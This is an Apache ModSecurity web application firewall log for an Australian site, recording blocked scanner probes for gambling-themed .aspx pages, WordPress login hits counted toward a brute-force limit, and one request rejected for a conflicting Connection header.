[Tue May 05 10:24:56.287160 2026] [:error] [pid 25745:tid 25808] [client 20.84.7.202:10562] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.84.7.202, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aflU-Jsd7hb7vrvCNBmz3QAAAMc"]
[Tue May 05 10:33:59.714109 2026] [:error] [pid 25743:tid 25761] [client 65.108.2.171:62348] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aflXF2-PCMRhF5DdUnNmIgAAAA4"]
[Tue May 05 10:34:02.141591 2026] [:error] [pid 25743:tid 25752] [client 65.108.2.171:62350] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aflXGm-PCMRhF5DdUnNmJgAAAAU"]
[Tue May 05 10:34:04.636102 2026] [:error] [pid 25743:tid 25768] [client 65.108.2.171:62364] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aflXHG-PCMRhF5DdUnNmKgAAABU"]
[Tue May 05 10:34:07.019697 2026] [:error] [pid 25835:tid 25846] [client 65.108.2.171:32808] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aflXH1DT5nGJyh1439wsCAAAAQk"]
[Tue May 05 10:34:09.433391 2026] [:error] [pid 25743:tid 25755] [client 65.108.2.171:32810] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aflXIW-PCMRhF5DdUnNmMAAAAAg"]
[Tue May 05 10:34:11.825851 2026] [:error] [pid 25743:tid 25764] [client 65.108.2.171:32814] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aflXI2-PCMRhF5DdUnNmMwAAABE"]
[Tue May 05 10:34:14.396185 2026] [:error] [pid 25835:tid 25838] [client 65.108.2.171:32822] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aflXJlDT5nGJyh1439wsMAAAAQE"]
[Tue May 05 10:34:16.759370 2026] [:error] [pid 25745:tid 25822] [client 65.108.2.171:16394] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aflXKJsd7hb7vrvCNBm4xAAAANU"]
[Tue May 05 10:34:19.095412 2026] [:error] [pid 25744:tid 25778] [client 65.108.2.171:16404] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aflXKyR8IuyzjkW06ONrCwAAAIQ"]
[Tue May 05 10:34:21.577485 2026] [:error] [pid 25835:tid 25853] [client 65.108.2.171:16408] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aflXLVDT5nGJyh1439wsUAAAARA"]
[Tue May 05 10:34:24.085181 2026] [:error] [pid 25835:tid 25848] [client 65.108.2.171:16412] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aflXMFDT5nGJyh1439wsWAAAAQs"]
[Tue May 05 10:34:35.107096 2026] [:error] [pid 25835:tid 25839] [client 65.108.2.171:33252] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aflXO1DT5nGJyh1439wsfAAAAQI"]
[Tue May 05 10:34:37.625757 2026] [:error] [pid 25743:tid 25765] [client 65.108.2.171:33258] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aflXPW-PCMRhF5DdUnNmWQAAABI"]
[Tue May 05 10:34:40.159454 2026] [:error] [pid 25835:tid 25842] [client 65.108.2.171:33260] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aflXQFDT5nGJyh1439wsugAAAQU"]
[Tue May 05 10:34:42.649850 2026] [:error] [pid 25835:tid 25848] [client 65.108.2.171:33268] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aflXQlDT5nGJyh1439ws2gAAAQs"]
[Tue May 05 10:34:45.170369 2026] [:error] [pid 25745:tid 25810] [client 65.108.2.171:14318] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aflXRZsd7hb7vrvCNBm5MAAAAMk"]
[Tue May 05 10:34:47.687594 2026] [:error] [pid 25743:tid 25759] [client 65.108.2.171:14320] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aflXR2-PCMRhF5DdUnNmawAAAAw"]
[Tue May 05 10:34:50.075923 2026] [:error] [pid 25743:tid 25748] [client 65.108.2.171:14336] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aflXSm-PCMRhF5DdUnNmcQAAAAE"]
[Tue May 05 10:34:52.611077 2026] [:error] [pid 25835:tid 25840] [client 65.108.2.171:14340] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aflXTFDT5nGJyh1439ws9QAAAQM"]
[Tue May 05 10:35:42.137935 2026] [:error] [pid 25745:tid 25824] [client 65.108.2.171:16580] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aflXfpsd7hb7vrvCNBm5hgAAANc"]
[Tue May 05 10:35:44.597397 2026] [:error] [pid 25745:tid 25801] [client 65.108.2.171:16584] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aflXgJsd7hb7vrvCNBm5jQAAAMA"]
[Tue May 05 10:35:47.190584 2026] [:error] [pid 25835:tid 25849] [client 65.108.2.171:35820] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aflXg1DT5nGJyh1439wtpgAAAQw"]
[Tue May 05 10:35:49.640839 2026] [:error] [pid 25835:tid 25845] [client 65.108.2.171:35822] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aflXhVDT5nGJyh1439wtrQAAAQg"]
[Tue May 05 10:35:52.250166 2026] [:error] [pid 25744:tid 25789] [client 65.108.2.171:35836] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aflXiCR8IuyzjkW06ONrlwAAAI8"]
[Tue May 05 10:35:54.793450 2026] [:error] [pid 25835:tid 25857] [client 65.108.2.171:35846] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aflXilDT5nGJyh1439wtuQAAARQ"]
[Tue May 05 10:35:57.360982 2026] [:error] [pid 25835:tid 25847] [client 65.108.2.171:8574] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aflXjVDT5nGJyh1439wtvwAAAQo"]
[Tue May 05 10:35:59.802532 2026] [:error] [pid 25743:tid 25747] [client 65.108.2.171:8590] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aflXj2-PCMRhF5DdUnNmtQAAAAA"]
[Tue May 05 10:36:02.344690 2026] [:error] [pid 25835:tid 25843] [client 65.108.2.171:8600] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aflXklDT5nGJyh1439wtxwAAAQY"]
[Tue May 05 10:36:04.910499 2026] [:error] [pid 25835:tid 25838] [client 65.108.2.171:64610] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aflXlFDT5nGJyh1439wt0AAAAQE"]
[Tue May 05 10:36:07.522354 2026] [:error] [pid 25745:tid 25824] [client 65.108.2.171:64626] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aflXl5sd7hb7vrvCNBm5mAAAANc"]
[Tue May 05 10:36:10.039340 2026] [:error] [pid 25745:tid 25805] [client 65.108.2.171:64630] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aflXmpsd7hb7vrvCNBm5nQAAAMQ"]
[Tue May 05 10:36:12.653071 2026] [:error] [pid 25744:tid 25792] [client 65.108.2.171:64642] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aflXnCR8IuyzjkW06ONrtAAAAJI"]
[Tue May 05 10:36:15.243406 2026] [:error] [pid 25744:tid 25782] [client 65.108.2.171:38564] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aflXnyR8IuyzjkW06ONruAAAAIg"]
[Tue May 05 10:36:26.053537 2026] [:error] [pid 25744:tid 25786] [client 65.108.2.171:40996] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aflXqiR8IuyzjkW06ONrxwAAAIw"]
[Tue May 05 10:36:28.624667 2026] [:error] [pid 25744:tid 25775] [client 65.108.2.171:41006] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aflXrCR8IuyzjkW06ONr0AAAAIE"]
[Tue May 05 10:36:31.038365 2026] [:error] [pid 25745:tid 25807] [client 65.108.2.171:41020] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aflXr5sd7hb7vrvCNBm5vwAAAMY"]
[Tue May 05 10:36:33.759986 2026] [:error] [pid 25835:tid 25844] [client 65.108.2.171:41034] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aflXsVDT5nGJyh1439wt6gAAAQc"]
[Tue May 05 10:36:36.268833 2026] [:error] [pid 25745:tid 25812] [client 65.108.2.171:40454] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aflXtJsd7hb7vrvCNBm5yAAAAMs"]
[Tue May 05 10:37:25.757920 2026] [:error] [pid 25745:tid 25825] [client 65.108.2.171:33658] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aflX5Zsd7hb7vrvCNBm6XQAAANg"]
[Tue May 05 10:37:28.190831 2026] [:error] [pid 25744:tid 25791] [client 65.108.2.171:33666] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aflX6CR8IuyzjkW06ONsTgAAAJE"]
[Tue May 05 10:37:30.745496 2026] [:error] [pid 25744:tid 25795] [client 65.108.2.171:33678] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aflX6iR8IuyzjkW06ONsUwAAAJU"]
[Tue May 05 10:37:33.108156 2026] [:error] [pid 25743:tid 25762] [client 65.108.2.171:33690] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aflX7W-PCMRhF5DdUnNneAAAAA8"]
[Tue May 05 10:37:35.664672 2026] [:error] [pid 25835:tid 25843] [client 65.108.2.171:36614] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aflX71DT5nGJyh1439wunwAAAQY"]
[Tue May 05 10:37:38.088443 2026] [:error] [pid 25835:tid 25838] [client 65.108.2.171:36626] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aflX8lDT5nGJyh1439wuoQAAAQE"]
[Tue May 05 10:37:40.516516 2026] [:error] [pid 25745:tid 25809] [client 65.108.2.171:36636] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aflX9Jsd7hb7vrvCNBm6oAAAAMg"]
[Tue May 05 10:37:47.944608 2026] [:error] [pid 25744:tid 25774] [client 65.108.2.171:28338] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aflX-yR8IuyzjkW06ONsVgAAAIA"]
[Tue May 05 10:37:50.516927 2026] [:error] [pid 25835:tid 25854] [client 65.108.2.171:28340] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aflX_lDT5nGJyh1439wuzQAAARE"]
[Tue May 05 10:37:52.905362 2026] [:error] [pid 25743:tid 25748] [client 65.108.2.171:28344] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aflYAG-PCMRhF5DdUnNnnQAAAAE"]
[Tue May 05 10:37:55.458088 2026] [:error] [pid 25835:tid 25844] [client 65.108.2.171:2844] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aflYA1DT5nGJyh1439wu0QAAAQc"]
[Tue May 05 10:37:58.043730 2026] [:error] [pid 25745:tid 25802] [client 65.108.2.171:2854] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aflYBpsd7hb7vrvCNBm61wAAAME"]
[Tue May 05 10:38:00.470875 2026] [:error] [pid 25745:tid 25804] [client 65.108.2.171:2868] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aflYCJsd7hb7vrvCNBm62AAAAMM"]
[Tue May 05 10:38:02.871464 2026] [:error] [pid 25743:tid 25757] [client 65.108.2.171:2874] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aflYCm-PCMRhF5DdUnNnnwAAAAo"]
[Tue May 05 10:48:18.741541 2026] [:error] [pid 25745:tid 25824] [client 43.159.136.201:43858] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aflacpsd7hb7vrvCNBm-hgAAANc"]
[Tue May 05 10:51:20.754660 2026] [:error] [pid 25744:tid 25797] [client 157.245.154.48:40416] [client 157.245.154.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.154.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aflbKCR8IuyzjkW06ONvJgAAAJc"]
